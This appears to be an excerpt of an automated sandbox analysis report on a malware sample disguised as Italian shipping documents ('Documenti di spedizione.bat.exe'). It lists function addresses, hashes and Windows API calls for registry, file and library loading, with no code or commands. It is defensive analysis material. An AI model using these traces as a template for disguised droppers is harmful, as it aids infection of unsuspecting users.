Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a1130b4f43b5ef58eef6a304646b232a08a6a9d0fa451b453d71d72267b47fb8
Instruction ID: 0c39837240ac6e21a4d945e0ab2cbfd2cf40700f690e74d620895d0cf024726c
Opcode Fuzzy Hash: a1130b4f43b5ef58eef6a304646b232a08a6a9d0fa451b453d71d72267b47fb8
Instruction Fuzzy Hash: 83316D30202219FFDB109F56EC85A9A3AACEB00355F20C53AF905E6195D339DE40EBA9

Function 00402483 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,00000496,00000000,00000022,00000000,?,?), ref: 00402C00

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004024B3
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsgDADD.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 842ccded7b04f1c996c394db29755cab0eaefbc32d4fd585d2de1ae204d8f70a
Instruction ID: 85d806923b24475f53c36965a20abc0d18f92dd5d526b72c5aa3047674b5102d
Opcode Fuzzy Hash: 842ccded7b04f1c996c394db29755cab0eaefbc32d4fd585d2de1ae204d8f70a
Instruction Fuzzy Hash: 7611C171A04205FFDB20CF60CA985AEBBB4AF00359F20443FE142B72C0D2B84A85DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6f3fd260d9a20665192313664cef065be83871c58b0681ff97f62226ed226405
Instruction ID: 8ec6bfb8ef4f3ff43576048fe9568e939b5e998f238dec90285f5c94a9fc96e2
Opcode Fuzzy Hash: 6f3fd260d9a20665192313664cef065be83871c58b0681ff97f62226ed226405
Instruction Fuzzy Hash: 2201F431B24210ABE7294B389E04B6A36A8F710314F11823BF911F66F1D7B8DC029B4D

Function 00402377 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402BD8: RegOpenKeyExA.KERNELBASE(00000000,00000496,00000000,00000022,00000000,?,?), ref: 00402C00

RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402396
RegCloseKey.ADVAPI32(00000000), ref: 0040239F

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: ce34e0a5a3cad0306182936bac4226b47a4e95e33cdd8971417c4bf24fbf648c
Instruction ID: 7cc126104223fee90c4482272470a44d0e33bb4baa6becb9c0b30a5ba769ccb5
Opcode Fuzzy Hash: ce34e0a5a3cad0306182936bac4226b47a4e95e33cdd8971417c4bf24fbf648c
Instruction Fuzzy Hash: 25F0A472A00111ABD720AFA09A8E9BE76B89B40344F24043BF201B71C0D5BD5D028769

Function 00402590 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 34stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004025B1

Strings

C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll, xrefs: 004025A2, 004025C7

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll
API String ID: 1659193697-1612613294
Opcode ID: 9108d4ceed508d8a02313cc574e378f3b7a987aa5820872456f395d40ec67233
Instruction ID: 2bf8431ce51e6c58f43ec2947d6bdc143d6e81ddf8616a76c722d5425931f27b
Opcode Fuzzy Hash: 9108d4ceed508d8a02313cc574e378f3b7a987aa5820872456f395d40ec67233
Instruction Fuzzy Hash: 82F0E272A08244BACB20FBB55E4AA9F6AA4CBC1314B34403FF141B71C2C6BC4542DA2D

Function 00401A1E Relevance: 3.0, APIs: 2, Instructions: 30stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A31
lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A44

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: EnvironmentExpandStringslstrcmp
String ID:
API String ID: 1938659011-0
Opcode ID: 99ff6f7ebc29e3294f0bf96d9ec24245debac9b57580bca197066bfebfa759a6
Instruction ID: ab1dd0d9c5eb94bf9ce54f5104db011015230574e834771f483328ebd508fd9c
Opcode Fuzzy Hash: 99ff6f7ebc29e3294f0bf96d9ec24245debac9b57580bca197066bfebfa759a6
Instruction Fuzzy Hash: 9DF08271B05241EBCB20DF659D45A9B7FE8EFD1394B10843BE145F6190D2388541DA69

Function 00401E25 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E43
EnableWindow.USER32(00000000,00000000), ref: 00401E4E

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 36dcea6e1d224af34142dbcc53fa3142b8bf20b1b5b4f1e3402a8bbf529d307d
Instruction ID: 6bc854546bde8c1d97c50108fc272036e6fafce41083740c3c393c21766323e0
Opcode Fuzzy Hash: 36dcea6e1d224af34142dbcc53fa3142b8bf20b1b5b4f1e3402a8bbf529d307d
Instruction Fuzzy Hash: 2BE012B2B08211BFEB14EFB4E9895AE7BB4EF40325B20403BE401F11D1D67D59419B59

Function 0040156F Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000), ref: 00401581
ShowWindow.USER32(00010492), ref: 00401596

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 17699a1f730cc25233c13bc64813f1e04f0aaa057b5d2da36e90e35cf9de59ca
Instruction ID: 1fba713723e617fd63a9d4476e2d2033a2576266d828a69d52802257caf8ad67
Opcode Fuzzy Hash: 17699a1f730cc25233c13bc64813f1e04f0aaa057b5d2da36e90e35cf9de59ca
Instruction Fuzzy Hash: 42E086B6B00115BBCB24DF64EE9087E77B6E784320750043FD502B3290C2B69D429B58

Function 00406290 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

Part of subcall function 00406222: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406239
Part of subcall function 00406222: wsprintfA.USER32 ref: 00406272
Part of subcall function 00406222: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406286

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 3d400e748f947671e30b9badb510484ff95b6787d133025eb2c4a7967b05848e
Instruction ID: 9986063a3a3a914c3c9c85809e338cef1f66889ba2e3f6f8a6abe9a53671474f
Opcode Fuzzy Hash: 3d400e748f947671e30b9badb510484ff95b6787d133025eb2c4a7967b05848e
Instruction Fuzzy Hash: BAE0CD32A08111B7D650B7705D0497773AC9FC475030208BEF907F2185E738EC319769

Function 00405B6A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000003,00402D8D,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,80000000,00000003), ref: 00405B6E
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 4a69860c6089f1fb7fd455c1891d9cc54c05e48a968a67635bcc5e625bd0c43f
Instruction ID: 2e597581bf20324382b204af2e2b9293bc3b27f4d9e8cb915424ec39c2be7a6e
Opcode Fuzzy Hash: 4a69860c6089f1fb7fd455c1891d9cc54c05e48a968a67635bcc5e625bd0c43f
Instruction Fuzzy Hash: A7D09E31658201EFFF098F20DD16F2EBBA2EB84B00F10962CBA92941E0D6755815DB26

Function 00405B45 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?,?,0040575D,?,?,00000000,00405940,?,?,?,?), ref: 00405B4A
SetFileAttributesA.KERNELBASE(?,00000000), ref: 00405B5E

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction ID: 899457fb2a373ec916eabf998b05f3716e4ca5246c779d0db29ba2cd27af7bf6
Opcode Fuzzy Hash: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
Instruction Fuzzy Hash: E2D01272908521AFC6102738ED0C89BBF65EB543717058B31FDB9E22F0D7345C528AA9

Function 00405653 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,004032B2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 00405659
GetLastError.KERNEL32 ref: 00405667

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction ID: 0da22567c4b446b4f42a21ca14333010da7ca755278e2de90fea66cf95c641d8
Opcode Fuzzy Hash: e7d0addc6a0e2cebebc6ed5ef3cfbde17ba04572b5523194c914a84283870961
Instruction Fuzzy Hash: 80C04C30A19502DAD7105B31DD08F177E60EB50741F548935A10AE11F0D6769451DD3F

Function 004025D7 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: ba0784285b27e5103b764f78ef6fb10791d77067d667a4e03e7b1a8b22abeba3
Instruction ID: c506eed3d8509f523d62ce86bbd7ec2d7c700efff23c78fc82727488f7f797df
Opcode Fuzzy Hash: ba0784285b27e5103b764f78ef6fb10791d77067d667a4e03e7b1a8b22abeba3
Instruction Fuzzy Hash: 5A21F970D0429ABADF218FA885486AEBF749F01314F1445BFE890B63D1C1BE8A81CF59

Function 0040166A Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 00401685

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 6a883f9504f5c2888ca71b0d8159a7984c3ca00eae0cacb2c6aae2654bc04831
Instruction ID: 5898f67605d89fe4fb30f7e570565f9f0960a3a70fe6e37fe1d860f2248c6c53
Opcode Fuzzy Hash: 6a883f9504f5c2888ca71b0d8159a7984c3ca00eae0cacb2c6aae2654bc04831
Instruction Fuzzy Hash: 2AF09635B08115A6DB20A7A54F0DD5F15649B81364B34423BF151B21D1DABD860295AF

Function 004022F2 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,?,00000000), ref: 0040232B

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 6b5e48cc008279052f1a47b51cc32cf127a00dc2733201354761e156b3ebbbdf
Instruction ID: 5f6267e841dd840bf6295cbe1617e7a0042591bb1814ca2e8a4844537e2a2c78
Opcode Fuzzy Hash: 6b5e48cc008279052f1a47b51cc32cf127a00dc2733201354761e156b3ebbbdf
Instruction Fuzzy Hash: 67E04F31B001246BD7307AB10F8E97F10999BC4304B39153ABA01B62C6EDBC4C414AB9

Function 00405C11 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00409130,00000000,00000000,00000000,00000000,0040FE8E,0040A8D8,004031F8,0040A8D8,0040FE8E,004128D8,00004000,?,00000000,00403022,00000004), ref: 00405C25

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: a68fbbb5dd244fa7f7e93bb3aa8c49248ed304819acaaafe9587b6e0b9a7c414
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: 59E0EC3261835EAFEF209E659C00AEB7B6CEB05361F048836FD15E2150D271E8219BA9

Function 00402BD8 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,00000496,00000000,00000022,00000000,?,?), ref: 00402C00

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
